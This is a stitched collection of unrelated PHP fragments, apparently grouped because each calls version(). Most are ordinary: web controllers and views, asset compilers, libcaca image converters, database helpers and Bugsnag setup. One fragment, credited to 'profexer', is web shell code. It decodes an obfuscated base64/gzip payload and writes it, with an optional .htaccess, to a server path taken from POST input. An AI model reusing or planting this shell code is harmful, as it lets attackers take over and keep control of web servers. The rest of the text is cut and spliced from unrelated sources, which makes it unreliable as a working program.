public function defaultRun($request) { $this->data['env'] = $this->config['env']; $this->data['domain'] = $this->config['domain']; $this->data['mcookie'] = $_COOKIE['m']; $this->data['is_mobile'] = $this->is_mobile; $this->data['web_root'] = $this->config['web_root']; $this->data['token'] = $this->getCsrfToken(); $this->data['request'] = $request; $this->data['menu'] = new Menu(); $this->data['action'] = $this->action; $this->data['preload_action'] = isset($request['preload_action']) ? $request['preload_action'] : "index"; if ($this->action == 'index') { $this->action = "welcome"; $this->data['action'] = 'welcome'; } if ($this->config['env'] == 'prod') { require_once $this->config['zombie_root'] . "/config/version.php"; $this->data['version'] = version(); } else { $this->data['console'] = new Console(); } $preload_class = underscoreToClass($this->action); if (class_exists($preload_class)) { $this->data['preload'] = new $preload_class(); } else { $this->view = '404'; } }
/** * Helper to create an img tag * @param string $uri image uri * @param array $attrs attribute key value pairs * @param boolean $return if set to true a string is returned * @return string */ function img($uri, $attrs = array(), $return = false) { static $mode = false; static $version = false; static $web_root = false; if ($mode === false) { $config = getZombieConfig(); $mode = $config['env']; $web_root = $config['web_root']; if ($web_root == '/') { $web_root = ''; } if ($mode == 'prod') { require_once $config['zombie_root'] . "/config/version.php"; $version = version(); $version = $version['images']; } } $html_attrs = attrsToString($attrs); $uri = imgUri($uri, $mode, $version, $web_root); $tag = "<img src=\"{$uri}\" {$html_attrs} />"; if ($return) { return $tag; } else { echo $tag; } }
function get_link($version, $controller_id = '') { $version = version($version); // get from function version $controller = controller_get($controller_id); return $version . '/' . $controller; }
public function index() { $data = ['page' => 'guidance_and_support_2/main', 'top_class' => 'content-guidance-and-support-2', 'list' => $this->guidance_and_support_model->get_list()]; //echo'<pre>'; //print_r($data['list']); //echo'</pre>'; $this->load->view('v' . version() . '/layouts/default', $data); }
/** * Register any other events for your application. * * @param \Illuminate\Contracts\Events\Dispatcher $events * @return void */ public function boot(DispatcherContract $events) { parent::boot($events); \Event::listen('Illuminate\\Cache\\Events\\KeyWritten', function ($event) { Bugsnag::leaveBreadcrumb('Cache written', 'process', ['key' => $event->key, 'value' => $event->value, 'ttl' => "{$event->minutes}mins"]); }); Bugsnag::setAppVersion(version()); }
/** * Execute the console command. * * @return mixed */ public function fire() { $old = version(); $new = version(true); $this->comment("Previous: " . $old . " New: " . $new); if ($old !== $new) { $this->call('bugsnag:deploy', ['--revision' => $new]); } }
function compile($options) { $config = getZombieConfig(); $root = $config['zombie_root']; if (@(include __DIR__ . "/../../../config/version.php")) { $old_version = version(); } else { $old_version = array('css' => 'css', 'js' => 'js', 'images' => 'images'); } $version = uniqid(); $compile_css = false; $compile_js = false; $compile_images = false; $compile_templates = false; if (isset($options['css'])) { $compile_css = true; $compile_js = true; $compile_templates = true; } if (isset($options['js'])) { $compile_js = true; $compile_css = true; $compile_templates = true; } if (isset($options['images'])) { $compile_images = true; $compile_css = true; $compile_templates = true; } if (isset($options['templates'])) { $compile_templates = true; } if (isset($options['all']) || !$compile_css && !$compile_js && !$compile_images && !$compile_templates) { $compile_css = true; $compile_js = true; $compile_images = true; $compile_templates = true; } $css_version = $compile_css ? $version : $old_version['css']; $js_version = $compile_js ? $version : $old_version['js']; $images_version = $compile_images ? $version : $old_version['images']; writeVersion($css_version, $js_version, $images_version); if ($compile_css) { compileCss($css_version, $old_version['css'], $images_version); } if ($compile_templates) { compileTemplates(); } if ($compile_js) { compileJs($js_version, $old_version['js'], $css_version, $images_version); } if ($compile_images) { copyImages($images_version, $old_version['images']); } }
function sbversion() { nextBuild(); $sb = version(); $manifest = file_get_contents('blocker/manifest.json'); $manifest = (array) json_decode($manifest); $manifest['version'] = "{$sb}"; $manifest = json_encode($manifest, JSON_PRETTY_PRINT); $manifest = str_replace("\\/", "/", $manifest); file_put_contents('blocker/manifest.json', $manifest); return $sb; }
function main() { global $argc, $argv; $cols = 0; $lines = 0; $font_width = 6; $font_height = 10; $format = NULL; $dither = NULL; $gamma = $brightness = $contrast = -1.0; $long_options = array("width:" => 'W', "height:" => 'H', "font-width:" => 'x', "font-height:" => 'y', "format:" => 'f', "dither:" => 'd', "gamma:" => 'g', "brightness:" => 'b', "contrast:" => 'c', "help" => 'h', "version" => 'v'); try { while ($opt_and_arg = mygetopt("W:H:f:d:g:b:c:hvx:y:", array_keys($long_options))) { $opt = $opt_and_arg[0]; $arg = $opt_and_arg[1]; if (substr($opt, 0, 2) == '--' && array_key_exists(substr($opt, strlen('--')) . ($arg !== NULL ? ':' : ''), $long_options)) { $opt = '-' . $long_options[substr($opt, strlen('--')) . ($arg !== NULL ? ':' : '')]; } switch ($opt) { case '-W': /* --width */ $cols = intval($arg); break; case '-H': /* --height */ $lines = intval($arg); break; case '-x': /* --width */ $font_width = intval($arg); break; case '-y': /* --height */ $font_height = intval($arg); break; case '-f': /* --format */ $format = $arg; break; case '-d': /* --dither */ $dither = $arg; break; case '-g': /* --gamma */ $gamma = floatval($arg); break; case '-b': /* --brightness */ $brightness = floatval($arg); break; case '-c': /* --contrast */ $contrast = floatval($arg); break; case '-h': /* --help */ usage($argc, $argv); return 0; case '-v': /* --version */ version(); return 0; default: return 1; } } } catch (MygetoptException $e) { fprintf(STDERR, "%s", $argv[0] . ": " . $e->getMessage() . "\n"); usage($argc, $argv); return 2; } if ($argc != 2) { fprintf(STDERR, "%s: wrong argument count\n", $argv[0]); usage($argc, $argv); return 1; } $cv = caca_create_canvas(0, 0); if (!$cv) { fprintf(STDERR, "%s: unable to initialise libcaca\n", $argv[0]); return 1; } $i_str = file_get_contents($argv[$argc - 1]); $i = $i_str ? imagecreatefromstring($i_str) : NULL; if (!$i) { fprintf(STDERR, "%s: unable to load %s\n", $argv[0], $argv[$argc - 1]); return 1; } /* Assume a 6×10 font */ if (!$cols && !$lines) { $cols = 60; $lines = $cols * imagesy($i) * $font_width / imagesx($i) / $font_height; } else { if ($cols && !$lines) { $lines = $cols * imagesy($i) * $font_width / imagesx($i) / $font_height; } else { if (!$cols && $lines) { $cols = $lines * imagesx($i) * $font_height / imagesy($i) / $font_width; } } } caca_set_canvas_size($cv, $cols, $lines); caca_set_color_ansi($cv, CACA_DEFAULT, CACA_TRANSPARENT); caca_clear_canvas($cv); $i_dither = caca_create_dither($i); if (!caca_set_dither_algorithm($i_dither, $dither ? $dither : "fstein")) { fprintf(STDERR, "%s: Can't dither image with algorithm '%s'\n", $argv[0], $dither ? $dither : "fstein"); return -1; } if ($brightness != -1) { caca_set_dither_brightness($i_dither, $brightness); } if ($contrast != -1) { caca_set_dither_contrast($i_dither, $contrast); } if ($gamma != -1) { caca_set_dither_gamma($i_dither, $gamma); } caca_dither_bitmap($cv, 0, 0, $cols, $lines, $i_dither, $i); $export = caca_export_string($cv, $format ? $format : "ansi"); if (!$export) { fprintf(STDERR, "%s: Can't export to format '%s'\n", $argv[0], $format ? $format : "ansi"); return -1; } else { echo $export; } return 0; }
<?php $this->load->view('v' . version() . '/content/homepage/sub_header'); ?> <div class="content"> <?php $this->load->view('v' . version() . '/content/homepage/updates_guidance_and_support'); ?> <?php $this->load->view('v' . version() . '/content/homepage/highlights'); ?> <?php $this->load->view('v' . version() . '/content/homepage/news_and_features'); ?> </div>
echo $top_class; ?> "> <head> <?php $this->load->view('shared/head'); ?> </head> <body> <div class="main-container"> <div class="main-container-inner"> <?php $this->load->view('v' . version() . '/modules/header'); ?> <?php $this->load->view('v' . version() . '/content/' . $page); ?> <?php $this->load->view('v' . version() . '/modules/footer'); ?> </div> </div> <?php $this->load->view('shared/body_bottom'); ?> <?php $this->load->view('v' . version() . '/modules/body_bottom'); ?> </body> </html>
} else { echo "chmod done<br>"; } if ($_POST["htaccess"] == "on") { $fh = fopen($_POST["dir"] . "/.htaccess", "w"); fwrite($fh, $htaccess); fclose($fh); echo "htaccess done"; } } break; case "ssish": // code by profexer $ssishcode = gzinflate(base64_decode("pVd7c9pGEP8/n+IiJ5U0gARxMk3RIw/s1mntxGOTJp3YzQjpAAVxUk8nA0P57t29k0CAcSetGQuxt+/77d6e+7jVOoqHhM4z7mlPzvr9y69nvYsTrdXyXVyjcxqScBp5WhiRcv3y04mzYSXP/B86G/4kp/L95EOv/8flKRmLaUI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$fh = fopen($_POST["dir"] . "/" . $_POST["file"], "w"); if (!$fh) { echo "can`t fopen " . $_POST["dir"] . "/" . $_POST["file"] . "!"; } else { fwrite($fh, $ssishcode); fclose($fh); echo $_POST["file"] . " write done<br>"; if ($_POST["htaccess"] == "on") { $fh = fopen($_POST["dir"] . "/.htaccess", "w"); fwrite($fh, $htaccess); fclose($fh); echo "htaccess done"; }
/** * Insert ID * * @access public * @return integer */ function insert_id() { $v = version($this->conn_id); $v = $v['server']; $table = func_num_args() > 0 ? func_get_arg(0) : null; $column = func_num_args() > 1 ? func_get_arg(1) : null; if ($table == null && $v >= '8.1') { $sql = 'SELECT LASTVAL() as ins_id'; } elseif ($table != null && $column != null && $v >= '8.0') { $sql = sprintf("SELECT pg_get_serial_sequence('%s','%s') as seq", $table, $column); $query = $this->query($sql); $row = $query->row(); $sql = sprintf("SELECT CURRVAL('%s') as ins_id", $row->seq); } elseif ($table != null) { // seq_name passed in table parameter $sql = sprintf("SELECT CURRVAL('%s') as ins_id", $table); } else { return pg_last_oid($this->result_id); } $query = $this->query($sql); $row = $query->row(); return $row->ins_id; }
function main() { $args = $_SERVER['argv']; $script = array_shift($args); $normalize = FALSE; $composer = FALSE; $rem_args = array(); for ($i = 0, $m = count($args); $i < $m; $i++) { $arg = $args[$i]; if ($arg == '-N' || $arg == '--normalize') { $normalize = TRUE; } else { if ($arg == '-C' || $arg == '--composer') { $composer = TRUE; } else { if (!strncmp($arg, '-', 1)) { usage($script); exit(1); } else { $rem_args[] = $arg; } } } } $dir = getcwd(); if (count($rem_args)) { $dir = $rem_args[0]; putenv('GIT_DIR=' . $dir . DIRECTORY_SEPARATOR . '.git'); } // Retrieve the path to the repository's toplevel directory. $NUL = strncasecmp(PHP_OS, 'Win', 3) ? '/dev/null' : 'NUL'; exec('git rev-parse --show-toplevel 2>' . $NUL, $output, $exitcode); if ($exitcode != 0) { fprintf(STDERR, "Could not determine path to .git folder.%s", PHP_EOL); exit(1); } $dir = trim($output[0]); if ($composer) { composer($dir); } version($dir, $normalize); }
<a class="list-group-item btn-primary" onclick="set_value(\'' . $thumbnail->attributes()->{'url'} . '\')">' . $title . '</a> </div> '; } ?> </div> </div> <hr> <div class="row"> <div class="col-md-2"> <a href="<?php echo site_url(version(1) . '/'); ?> " class="btn btn-default glyphicon glyphicon-home"></a> <a href="<?php echo site_url(version(1) . '/picasa_upload'); ?> " class="btn btn-primary">Upload</a> </div> <div class="col-md-10"> <textarea class="form-control js-copytextarea"></textarea> <button class="btn js-textareacopybtn"><i class="glyphicon glyphicon-copy"></i> Copy</button> </div> </div> </div><!-- col-sm-9 --> </div> </div> <!-- /.container -->
* Copyright © 2013-2014 Chris Corbyn. */ /* Generate releases in Github */ namespace Boris; require __DIR__ . '/lib/autoload.php'; $args = getopt('hv:', array('help', 'version:')); if (count($args) != 1) { help(); exit(1); } foreach ($args as $opt => $value) { switch ($opt) { case 'v': case 'version': version($value); exit(0); case 'h': case 'help': help(); exit(0); default: unknown($opt); exit(1); } } function help() { echo <<<HELP Boris release generator script.
<?php $this->load->view('v' . version() . '/content/homepage/sub_header'); ?> <div class="content"> <div class="grid grid-pad"> <div class="col-1-3"> <h2 class="category-heading">News</h2> <article class="news-item"> <a href=""><img class="img-placeholder" /></a> <span class="timestamp">29 August 2014</span> <h3><a href="">UK terrorist threat level raised</a></h3> <p class="content"> Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Nam nibh. Nunc varius facilisis eros. Sed erat. In in velit quis </p> </article> </div> <div class="col-1-3"> <h2 class="category-heading">Guidance & support</h2> <ul class="link-list"> <li> <a href=""> <h4>HR</h4> </a> <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Nam nibh.</p> </li> <li> <a href=""> <h4>Learning & development</h4> </a>
public function calendar() { $data = ['page' => 'news_and_features/main', 'top_class' => 'content-news-and-features', 'tab_name' => 'calendar']; $this->load->view('v' . version() . '/layouts/default', $data); }
<?php use Illuminate\Support\Facades\Config; return array('enable' => !Config::get('app.debug'), 'hash' => md5(version()), 'prefix' => null, 'cdn' => null);
function start($aspid = false) { $unix = new unix(); $sock = new sockets(); $Masterbin = $unix->LOCATE_STUNNEL(); if (!is_file($Masterbin)) { if ($GLOBALS["OUTPUT"]) { echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]}, not installed\n"; } return; } if (!$aspid) { $pidfile = "/etc/artica-postfix/pids/" . basename(__FILE__) . "." . __FUNCTION__ . ".pid"; $pid = $unix->get_pid_from_file($pidfile); if ($unix->process_exists($pid, basename(__FILE__))) { $time = $unix->PROCCESS_TIME_MIN($pid); if ($GLOBALS["OUTPUT"]) { echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} Already Artica task running PID {$pid} since {$time}mn\n"; } return; } @file_put_contents($pidfile, getmypid()); } $pid = PID_NUM(); if ($unix->process_exists($pid)) { $timepid = $unix->PROCCESS_TIME_MIN($pid); if ($GLOBALS["OUTPUT"]) { echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} Service already started {$pid} since {$timepid}Mn...\n"; } return; } $sTunnel4enabled = $sock->GET_INFO("sTunnel4enabled"); if (!is_numeric($sTunnel4enabled)) { $sTunnel4enabled = 0; } if ($sTunnel4enabled == 0) { if ($GLOBALS["OUTPUT"]) { echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} service disabled (see sTunnel4enabled)\n"; } return; } $php5 = $unix->LOCATE_PHP5_BIN(); $sysctl = $unix->find_program("sysctl"); $echo = $unix->find_program("echo"); $nohup = $unix->find_program("nohup"); $version = version(); $cmds = "{$Masterbin} /etc/stunnel/stunnel.conf"; $unix->CreateUnixUser("stunnel4", "stunnel4"); @mkdir("/var/run/stunnel", 0755, true); @mkdir("/var/lib/stunnel4", 0755, true); @chown("/var/run/stunnel", "stunnel4"); @chown("/var/lib/stunnel4", "stunnel4"); $stunnel = new stunnel4(); $relay = $stunnel->main_array["postfix_relayhost"]["connect"]; $relayPort = $stunnel->main_array["postfix_relayhost"]["port"]; $localport = $stunnel->main_array["postfix_relayhost"]["accept"]; if (!is_numeric($relayPort)) { $relayPort = 465; } if ($GLOBALS["OUTPUT"]) { echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} version {$version}\n"; } if ($GLOBALS["OUTPUT"]) { echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} Local to 127.0.0.1:{$localport}\n"; } if ($GLOBALS["OUTPUT"]) { echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} connection to {$relay}:{$relayPort}\n"; } if ($GLOBALS["OUTPUT"]) { echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} service\n"; } build(); $cmd = $cmds; shell_exec($cmd); for ($i = 1; $i < 5; $i++) { if ($GLOBALS["OUTPUT"]) { echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} waiting {$i}/5\n"; } sleep(1); $pid = PID_NUM(); if ($unix->process_exists($pid)) { break; } } $pid = PID_NUM(); if ($unix->process_exists($pid)) { if ($GLOBALS["OUTPUT"]) { echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} Success PID {$pid}\n"; } } else { if ($GLOBALS["OUTPUT"]) { echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} Failed\n"; } if ($GLOBALS["OUTPUT"]) { echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]} {$cmd}\n"; } } }
public function index() { $data = ['page' => 'guidance_and_support/main', 'top_class' => 'content-guidance-and-support']; $this->load->view('v' . version() . '/layouts/default', $data); }
/** * Execute the console command. * * @return mixed */ public function fire() { $this->comment(version(true)); }
/** * TODO: add info about php and redis * [contentHeader description] * @return [type] [description] */ function contentHeader() { $html = "<body><header id=\"header\"><div class=\"innertube\">"; $html .= "<p><a href='" . $_SERVER['PHP_SELF'] . "'>" . name() . " " . version() . "</a></p>"; $html .= "</div></header>"; echo $html; }
<?php $no = 1; foreach ($user as $r) { $reg = date('d-M-Y H:i:s', strtotime($r['registered'])); echo "<tr>\n <td>{$no}</td>\n <td>{$r['nicename']}</td>\n <td>{$r['username']}</td>\n <td>{$r['email']}</td>\n <td>{$r['first_name']}</td>\n <td>{$r['last_name']}</td>\n <td>{$r['roles'][0]}</td>\n <td>{$reg}</td>\n </tr>"; } ?> </table> <hr/> </div> <div class="col-md-1"></div> </div> <div class="row"> <div class="col-md-5"></div> <div class="col-md-2"> <a href="<?php echo site_url(version(1) . '/wp_blog'); ?> " class="btn btn-primary glyphicon glyphicon-home"></a> </div> <div class="col-md-5"></div> </div> <?php //print_r($user); ?> </div> <!-- /.container --> </div> <!-- /.content-section-a -->
@fputs($fp, 'HOST: ' . $url_p['host'] . chr(10)); @fputs($fp, 'Connection: close' . chr(10) . chr(10)); $response = @fgets($fp, 1024); $content = @fread($fp, 1024); $content = preg_replace("#(.*?)text/plain(.*?)\$#is", "\$2", $content); @fclose($fp); if (preg_match("#404#", $response)) { return false; } else { return trim($content); } } $ausgabe = ""; if (function_exists('fsockopen')) { global $version; $version_new = version(); if ($version_new > $version_rc || !preg_match('#RC#', $version_new)) { $ausgabe .= "<table>\n<tr>\n<td><img src=\"" . INFUSIONS . "pr_bewerbung/admin/images/version_old.gif\" /></td>\n<td>"; $ausgabe .= "<span style=\"font-weight: bold; color: red;\">" . $locale['pr_ver02'] . $version_rc . "</span><br />"; $ausgabe .= "<span style=\"font-weight: bold; color: #1bdc16;\">" . $locale['pr_ver03'] . $version_new . "</span><br />"; $ausgabe .= "<span style=\"font-weight: bold; \">" . $locale['pr_ver04'] . "</span><a href=\"" . $url_h . "\" target=\"_blank\" title=\"" . $url_h . "\"><span style=\"font-weight: bold; \">" . $url_h . "</span></a>"; $ausgabe .= "</td>\n</tr>\n</table>\n"; } else { $ausgabe .= "<table>\n<tr>\n<td><img src=\"" . INFUSIONS . "pr_bewerbung/admin/images/version.gif\" /></td>\n"; $ausgabe .= "<td><span style=\"font-weight: bold; color: #1bdc16;\">" . $locale['pr_ver01']; $ausgabe .= $version_rc . "</span></td>\n</tr>\n</table>\n"; } } else { $ausgabe .= "<br />" . $locale['pr_ver05'] . "<br />"; $ausgabe .= $locale['pr_ver06'] . "<a href=\"" . $url_h . "\" target=\"_blank\" title=\"" . $url_h . "\"><span style=\"font-weight: bold; \">" . $url_h . "</span></a><br /><br />"; }
public function index() { $data = ['page' => 'about/main', 'top_class' => 'content-about']; $this->load->view('v' . version() . '/layouts/default', $data); }
?> ">Guidance & support</a> </li> <li> <a href="about?v=2">About MoJ</a> </li> </ul> </nav> <nav class="top-nav col-1-2"> <ul> <li> <a href="guidance_and_support_2?v=<?php echo version(); ?> ">A-Z</a> </li> <li> <a href="forms_and_templates?v=<?php echo version(); ?> ">Forms & templates</a> </li> <li> <a href="">Other intranet links</a> </li> </ul> </nav> </div> </div>
function main() { global $file, $filename; global $argc, $argv; global $stderr; $cols = 0; $lines = 0; $font_width = 6; $font_height = 10; $format = NULL; $dither = NULL; $gamma = $brightness = $contrast = -1.0; $long_options = array("width:" => 'W', "height:" => 'H', "font-width:" => 'x', "font-height:" => 'y', "format:" => 'f', "dither:" => 'd', "gamma:" => 'g', "brightness:" => 'b', "contrast:" => 'c', "help" => 'h', "version" => 'v'); try { while ($opt_and_arg = mygetopt("W:H:f:d:g:b:c:hvx:y:", array_keys($long_options))) { $opt = $opt_and_arg[0]; $arg = $opt_and_arg[1]; if (substr($opt, 0, 2) == '--' && array_key_exists(substr($opt, strlen('--')) . ($arg !== NULL ? ':' : ''), $long_options)) { $opt = '-' . $long_options[substr($opt, strlen('--')) . ($arg !== NULL ? ':' : '')]; } switch ($opt) { case '-W': /* --width */ $cols = intval($arg); break; case '-H': /* --height */ $lines = intval($arg); break; case '-x': /* --width */ $font_width = intval($arg); break; case '-y': /* --height */ $font_height = intval($arg); break; case '-f': /* --format */ $format = $arg; break; case '-d': /* --dither */ $dither = $arg; break; case '-g': /* --gamma */ $gamma = floatval($arg); break; case '-b': /* --brightness */ $brightness = floatval($arg); break; case '-c': /* --contrast */ $contrast = floatval($arg); break; case '-h': /* --help */ usage($argc, $argv); return 0; case '-v': /* --version */ version(); return 0; default: return 1; } } } catch (MygetoptException $e) { $stderr .= $argv[0] . ": " . $e->getMessage() . "\n"; usage($argc, $argv); return 2; } if (!$file && $argc == 2 && $argv[1] == 'logo-caca.png') { $file = 'logo-caca.png'; $argc = 1; } else { if ($filename && $file && $argc == 2 && strtolower(basename($argv[1])) == strtolower(basename($filename))) { $argc = 1; } } if ($argc == 2) { $stderr .= sprintf("%s: image not found\n", $argv[1]); return 1; } if ($argc > 2) { $stderr .= sprintf("%s: too many arguments\n", $argv[0]); usage($argc, $argv); return 1; } if (!$file) { $stderr .= sprintf("%s: no image was provided\n", $argv[0]); usage($argc, $argv); return 1; } $cv = caca_create_canvas(0, 0); if (!$cv) { $stderr .= sprintf("%s: unable to initialise libcaca\n", $argv[0]); return 1; } $i_str = $file ? file_get_contents($file) : NULL; $i = $i_str ? imagecreatefromstring($i_str) : NULL; if (!$i) { $stderr .= sprintf("%s: unable to load %s\n", $argv[0], $filename); return 1; } /* Assume a 6×10 font */ if (!$cols && !$lines) { $cols = 60; $lines = $cols * imagesy($i) * $font_width / imagesx($i) / $font_height; } else { if ($cols && !$lines) { $lines = $cols * imagesy($i) * $font_width / imagesx($i) / $font_height; } else { if (!$cols && $lines) { $cols = $lines * imagesx($i) * $font_height / imagesy($i) / $font_width; } } } caca_set_canvas_size($cv, $cols, $lines); caca_set_color_ansi($cv, CACA_DEFAULT, CACA_TRANSPARENT); caca_clear_canvas($cv); $i_dither = caca_create_dither($i); if (!caca_set_dither_algorithm($i_dither, $dither ? $dither : "fstein")) { $stderr .= sprintf("%s: Can't dither image with algorithm '%s'\n", $argv[0], $dither ? $dither : "fstein"); return -1; } if ($brightness != -1) { caca_set_dither_brightness($i_dither, $brightness); } if ($contrast != -1) { caca_set_dither_contrast($i_dither, $contrast); } if ($gamma != -1) { caca_set_dither_gamma($i_dither, $gamma); } caca_dither_bitmap($cv, 0, 0, $cols, $lines, $i_dither, $i); $format = $format ? $format : 'html'; $export = caca_export_string($cv, $format); if (!$export) { $stderr .= sprintf("%s: Can't export to format '%s'\n", $argv[0], $format); return -1; } else { $content_type_map = array('ansi' => 'text/plain; charset=CP437', 'utf8' => 'text/plain; charset=UTF-8', 'utf8cr' => 'text/plain; charset=UTF-8', 'html' => 'text/html; charset=UTF-8', 'html3' => 'text/html; charset=UTF-8', 'bbfr' => 'text/plain; charset=UTF-8', 'irc' => 'text/plain; charset=UTF-8', 'ps' => 'application/postscript', 'svg' => 'image/svg+xml', 'tga' => 'image/x-targa'); $download_extension_map = array('caca' => 'caca', 'ansi' => 'txt', 'utf8' => 'txt', 'utf8cr' => 'txt', 'irc' => 'txt', 'tga' => 'tga'); $inline_extension_map = array('bbfr' => 'txt', 'ps' => 'ps', 'svg' => 'svg'); if (!array_key_exists($format, $content_type_map)) { $content_type = 'application/octet-stream'; } else { $content_type = $content_type_map[$format]; } header('Content-Type: ' . $content_type); if (array_key_exists($format, $download_extension_map)) { header('Content-Disposition: attachment; filename=export.' . $download_extension_map[$format]); } else { if (array_key_exists($format, $inline_extension_map)) { header('Content-Disposition: inline; filename=export.' . $inline_extension_map[$format]); } } echo $export; } return 0; }
exit; } if (isset($_GET["InfluxDBPassword"])) { InfluxDBPassword(); exit; } if (isset($_GET["backup"])) { backup(); exit; } if (isset($_GET["restart-progress"])) { restart_progress(); exit; } if (isset($_GET["version"])) { version(); exit; } if (isset($_GET["move-restore"])) { move_restore(); exit; } if (isset($_GET["restore-scandir"])) { restore_scan_dir(); exit; } if (isset($_GET["restore-progress"])) { restore_progress(); exit; } if (isset($_GET["restart-silent"])) {
<?php Bugsnag::setBeforeNotifyFunction(function (Bugsnag_Error $error) { Bugsnag::setAppVersion(version()); }); App::error(function (Exception $e) { Bugsnag::notifyException($e); if (Config::get('app.debug')) { Session::flash('alert', sprintf("%s (Line %d): %s", $e->getFile(), $e->getLine(), $e->getMessage())); } else { Session::flash('alert', $e->getMessage()); } return View::make('index'); }); App::error(function (DestinyException $e) { Bugsnag::notifyException($e); return View::make('error', ['error' => $e->getMessage(), 'bungie' => true]); }); App::missing(function (Exception $e) { return Response::view('404', [], 404); }); App::error(function (UnknownPlayerException $e) { Bugsnag::notifyException($e); return View::make('error', ['error' => $e->getMessage()]); }); /* |-------------------------------------------------------------------------- | Application & Route Filters |-------------------------------------------------------------------------- | | Below you will find the "before" and "after" events for the application